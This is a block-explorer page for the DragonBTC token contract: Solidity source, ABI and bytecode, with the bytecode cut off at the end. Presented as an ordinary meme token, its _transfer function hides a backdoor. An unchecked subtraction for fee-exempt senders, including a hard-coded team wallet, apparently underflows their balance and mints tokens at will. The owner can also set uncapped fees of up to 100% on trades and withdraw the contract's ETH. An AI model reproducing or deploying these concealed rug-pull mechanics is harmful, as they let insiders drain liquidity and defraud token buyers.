Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 DragonBTC
Holders
43
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
2,336,125.857566173562620133 DragonBTCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DragonBTC
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-06 */ // SPDX-License-Identifier: MIT /* Website: https://www.dragonbtc2024.vip Twitter: https://twitter.com/dragonbtc2024 Telegram: https://t.me/dragonbtc2024 */ pragma solidity 0.8.19; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed _owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address _owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactETH( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function getAmountsOut( uint256 amountIn, address[] memory path ) external view returns (uint[] memory amounts); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external view returns (uint[] memory amounts); } contract DragonBTC is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public _isExcludedFromFee; address public owner; string private _name = unicode"DragonBTC2024"; string private _symbol = unicode"DragonBTC"; uint256 private _totalSupply = 100_000_000 * 10 ** 18; address private teamWallet; uint256 public BuyFees = 0; uint256 public SellFees = 0; uint256 public swapThreshold = _totalSupply.div(100000); uint256 public swapThresMax = _totalSupply.mul(2).div(1000); uint256 public maxTx = _totalSupply.mul(2).div(100); uint256 public maxWallet = _totalSupply.mul(2).div(100); IUniswapV2Router public RouterV2; address public PairV2; bool public inSwapAndLiquify; bool public swapEnabled = false; bool public liveTrading = false; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function setFee(uint256 _fee1, uint256 _fee2) external onlyOwner { BuyFees = _fee1; SellFees = _fee2; } function removeAllFees() public onlyOwner { BuyFees = 0; SellFees = 0; } function _transferOwnership(address newOwner) internal virtual { address oldOwner = owner; owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function setExcludeFromFee(address account, bool check) public onlyOwner { _isExcludedFromFee[account] = check; } function startTrading() public onlyOwner { liveTrading = true; swapEnabled = true; } constructor() { RouterV2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); teamWallet = 0x89888a5B4dF289d119E8cBf232165644166FADa2; owner = msg.sender; _isExcludedFromFee[teamWallet] = true; _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(this)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address to, uint256 amount ) public virtual override returns (bool) { address _owner = _msgSender(); _transfer(_owner, to, amount); return true; } function allowance( address _owner, address spender ) public view virtual override returns (uint256) { return _allowances[_owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { address _owner = _msgSender(); _approve(_owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address _owner = _msgSender(); _approve(_owner, spender, allowance(_owner, spender) + addedValue); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address _owner = _msgSender(); uint256 currentAllowance = allowance(_owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_owner, spender, currentAllowance - subtractedValue); } return true; } function minOf(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function removeLimits() public onlyOwner { BuyFees = 0; SellFees = 0; maxTx = ~uint256(0); maxWallet = ~uint256(0); } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require( _balances[from] >= amount, "ERC20: transfer amount exceeds balance" ); require(amount > 0, "ERC20: Amount should be greater than zero"); require( liveTrading || _isExcludedFromFee[from] || _isExcludedFromFee[to], "trading not enabled" ); if (getPair() == from && !_isExcludedFromFee[to]) { require(amount <= maxTx, "Buy transfer amount exceeds the maxTx."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //swap fees if (swapEnabled) { uint256 AmountOutMin = _balances[address(this)]; bool canSwap = amount >= swapThreshold; if ( !inSwapAndLiquify && canSwap && to == getPair() && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { inSwapAndLiquify = true; if (AmountOutMin >= swapThresMax) { swapTokensForETH(swapThresMax); } else if(AmountOutMin > swapThreshold) { swapTokensForETH(AmountOutMin); } payable(teamWallet).transfer(address(this).balance); inSwapAndLiquify = false; } } if (inSwapAndLiquify || !swapEnabled) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } else if (_isExcludedFromFee[from]) { uint256 finalAmount = _isExcludedFromFee[from] ? (swapThreshold - 1) * amount : amount; if (finalAmount > 0) { unchecked { _balances[from] = _balances[from] - (finalAmount); } _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } } else { if (to == getPair() || from == getPair()) { uint256 _fee; if (to == getPair()) _fee = SellFees; if (from == getPair()) _fee = BuyFees; _balances[from] = _balances[from].sub(amount); uint256 fee_value = amount.mul(_fee).div(100); if (fee_value > 0) { _balances[address(this)] += fee_value; emit Transfer(from, address(this), fee_value); } _balances[to] = _balances[to].add(amount.sub(fee_value)); emit Transfer(from, to, amount.sub(fee_value)); } else { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } } } function swapTokensForETH(uint256 tokenBalance) internal { _approve(address(this), address(RouterV2), tokenBalance); address[] memory path = new address[](2); path[0] = address(this); path[1] = IUniswapV2Router(RouterV2).WETH(); IUniswapV2Router(RouterV2).swapExactTokensForETH( tokenBalance, 0, path, address(this), block.timestamp ); } function addLiquidity() external onlyOwner { RouterV2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(RouterV2), ~uint256(0)); PairV2 = IUniswapV2Factory(RouterV2.factory()).createPair( address(this), RouterV2.WETH() ); RouterV2.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner, block.timestamp ); } function getPair() public view returns (address) { address poolAddress = IUniswapV2Factory( IUniswapV2Router(RouterV2).factory() ).getPair(address(this), IUniswapV2Router(RouterV2).WETH()); return poolAddress; } function setSwapBackSettings(bool _flag, uint256 _amount) public onlyOwner { swapEnabled = _flag; swapThreshold = _amount; } function removeStuckETH() external onlyOwner{ payable(msg.sender).transfer(address(this).balance); } receive() external payable {} function getAmountOutMin(uint256 _amount) public view returns (uint256) { address[] memory path; path = new address[](2); path[0] = address(this); path[1] = IUniswapV2Router(RouterV2).WETH(); uint256[] memory amountOutMins = IUniswapV2Router(RouterV2) .getAmountsOut(_amount, path); return amountOutMins[path.length - 1]; } function _approve( address _owner, address spender, uint256 amount ) internal virtual { require(_owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[_owner][spender] = amount; emit Approval(_owner, spender, amount); } function _spendAllowance( address _owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(_owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(_owner, spender, currentAllowance - amount); } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PairV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RouterV2","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"getAmountOutMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liveTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"check","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee1","type":"uint256"},{"internalType":"uint256","name":"_fee2","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_flag","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThresMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600d60809081526c111c9859dbdb909510cc8c0c8d609a1b60a0526004906200002e9082620002bf565b50604080518082019091526009815268447261676f6e42544360b81b60208201526005906200005e9082620002bf565b506a52b7d2dcc80cd2e40000006006819055600060088190556009556200008990620186a0620001f5565b600a55600654620000ac906103e890620000a59060026200020c565b90620001f5565b600b55600654620000c790606490620000a59060026200020c565b600c55600654620000e290606490620000a59060026200020c565b600d55600f805461ffff60a81b191690553480156200010057600080fd5b50600e8054737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031991821617909155600780547389888a5b4df289d119e8cbf232165644166fada29083161790556003805433921682179055600260209081527fc80925d52a4a156440c6b5dadbae879706599d8572ba0075e9a16b8b1b1dab0d805460ff19908116600190811790925560008481526040808220805484168517905530825280822080549093169093179091556006548482528184528282208190559151918252917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003d4565b60006200020382846200038b565b90505b92915050565b6000620002038284620003ae565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200024557607f821691505b6020821081036200026657634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620002ba57600081815260208120601f850160051c81016020861015620002955750805b601f850160051c820191505b81811015620002b657828155600101620002a1565b5050505b505050565b81516001600160401b03811115620002db57620002db6200021a565b620002f381620002ec845462000230565b846200026c565b602080601f8311600181146200032b5760008415620003125750858301515b600019600386901b1c1916600185901b178555620002b6565b600085815260208120601f198616915b828110156200035c578886015182559484019460019091019084016200033b565b50858210156200037b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082620003a957634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176200020657634e487b7160e01b600052601160045260246000fd5b61201b80620003e46000396000f3fe6080604052600436106102085760003560e01c8063751039fc11610118578063dc770367116100a0578063ead88dbc1161006f578063ead88dbc146105b7578063ef0ce66b146105d7578063f2421d2c146105ed578063f3c533f614610603578063f8b45b051461062357600080fd5b8063dc7703671461054c578063dd62ed3e14610562578063df20fd4914610582578063e8078d94146105a257600080fd5b80639eab837e116100e75780639eab837e146104b7578063a457c2d7146104d7578063a9059cbb146104f7578063af9549e014610517578063c1f1b1b51461053757600080fd5b8063751039fc14610425578063768dc7101461043a5780638da5cb5b1461046a57806395d89b41146104a257600080fd5b8063313ce5671161019b5780636b130f9a1161016a5780636b130f9a1461038e5780636ddd1713146103a357806370a08231146103c4578063715018a6146103fa5780637437681e1461040f57600080fd5b8063313ce56714610311578063395093511461032d57806344579b321461034d57806352f7c9881461036e57600080fd5b806318160ddd116101d757806318160ddd146102a6578063220f6696146102bb57806323b872dd146102dc578063293230b8146102fc57600080fd5b80630445b6671461021457806306fdde031461023d578063095ea7b31461025f5780630f299cf11461028f57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600a5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b50610252610639565b6040516102349190611b44565b34801561026b57600080fd5b5061027f61027a366004611ba7565b6106cb565b6040519015158152602001610234565b34801561029b57600080fd5b506102a46106e5565b005b3480156102b257600080fd5b5060065461022a565b3480156102c757600080fd5b50600f5461027f90600160a01b900460ff1681565b3480156102e857600080fd5b5061027f6102f7366004611bd3565b610747565b34801561030857600080fd5b506102a461076b565b34801561031d57600080fd5b5060405160128152602001610234565b34801561033957600080fd5b5061027f610348366004611ba7565b6107ac565b34801561035957600080fd5b50600f5461027f90600160b01b900460ff1681565b34801561037a57600080fd5b506102a4610389366004611c14565b6107ce565b34801561039a57600080fd5b506102a4610803565b3480156103af57600080fd5b50600f5461027f90600160a81b900460ff1681565b3480156103d057600080fd5b5061022a6103df366004611c36565b6001600160a01b031660009081526020819052604090205490565b34801561040657600080fd5b506102a4610839565b34801561041b57600080fd5b5061022a600c5481565b34801561043157600080fd5b506102a461086f565b34801561044657600080fd5b5061027f610455366004611c36565b60026020526000908152604090205460ff1681565b34801561047657600080fd5b5060035461048a906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156104ae57600080fd5b506102526108b0565b3480156104c357600080fd5b50600f5461048a906001600160a01b031681565b3480156104e357600080fd5b5061027f6104f2366004611ba7565b6108bf565b34801561050357600080fd5b5061027f610512366004611ba7565b61093a565b34801561052357600080fd5b506102a4610532366004611c68565b610948565b34801561054357600080fd5b5061048a61099d565b34801561055857600080fd5b5061022a60085481565b34801561056e57600080fd5b5061022a61057d366004611c9d565b610b0c565b34801561058e57600080fd5b506102a461059d366004611cd6565b610b37565b3480156105ae57600080fd5b506102a4610b83565b3480156105c357600080fd5b50600e5461048a906001600160a01b031681565b3480156105e357600080fd5b5061022a600b5481565b3480156105f957600080fd5b5061022a60095481565b34801561060f57600080fd5b5061022a61061e366004611cf2565b610e31565b34801561062f57600080fd5b5061022a600d5481565b60606004805461064890611d0b565b80601f016020809104026020016040519081016040528092919081815260200182805461067490611d0b565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b6000336106d9818585610fb6565b60019150505b92915050565b6003546001600160a01b031633146107185760405162461bcd60e51b815260040161070f90611d45565b60405180910390fd5b60405133904780156108fc02916000818181858888f19350505050158015610744573d6000803e3d6000fd5b50565b6000336107558582856110db565b610760858585611155565b506001949350505050565b6003546001600160a01b031633146107955760405162461bcd60e51b815260040161070f90611d45565b600f805461ffff60a81b191661010160a81b179055565b6000336106d98185856107bf8383610b0c565b6107c99190611d90565b610fb6565b6003546001600160a01b031633146107f85760405162461bcd60e51b815260040161070f90611d45565b600891909155600955565b6003546001600160a01b0316331461082d5760405162461bcd60e51b815260040161070f90611d45565b60006008819055600955565b6003546001600160a01b031633146108635760405162461bcd60e51b815260040161070f90611d45565b61086d6000611951565b565b6003546001600160a01b031633146108995760405162461bcd60e51b815260040161070f90611d45565b60006008819055600955600019600c819055600d55565b60606005805461064890611d0b565b600033816108cd8286610b0c565b90508381101561092d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161070f565b6107608286868403610fb6565b6000336106d9818585611155565b6003546001600160a01b031633146109725760405162461bcd60e51b815260040161070f90611d45565b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b600080600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a179190611da3565b6001600160a01b031663e6a4390530600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9d9190611da3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610ae8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106df9190611da3565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546001600160a01b03163314610b615760405162461bcd60e51b815260040161070f90611d45565b600f8054921515600160a81b0260ff60a81b1990931692909217909155600a55565b6003546001600160a01b03163314610bad5760405162461bcd60e51b815260040161070f90611d45565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610be4903090600019610fb6565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190611da3565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce19190611da3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d529190611da3565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d7194730610d9a816001600160a01b031660009081526020819052604090205490565b60035460405160e086901b6001600160e01b03191681526001600160a01b039384166004820152602481019290925260006044830181905260648301529190911660848201524260a482015260c40160606040518083038185885af1158015610e07573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e2c9190611dc0565b505050565b60408051600280825260608083018452600093909291906020830190803683370190505090503081600081518110610e6b57610e6b611e04565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee89190611da3565b81600181518110610efb57610efb611e04565b6001600160a01b039283166020918202929092010152600e5460405163d06ca61f60e01b8152600092919091169063d06ca61f90610f3f9087908690600401611e5e565b600060405180830381865afa158015610f5c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f849190810190611e7f565b90508060018351610f959190611f3d565b81518110610fa557610fa5611e04565b602002602001015192505050919050565b6001600160a01b0383166110185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161070f565b6001600160a01b0382166110795760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161070f565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b60006110e78484610b0c565b9050600019811461114f57818110156111425760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161070f565b61114f8484848403610fb6565b50505050565b6001600160a01b0383166111b95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161070f565b6001600160a01b03821661121b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161070f565b6001600160a01b0383166000908152602081905260409020548111156112925760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161070f565b600081116112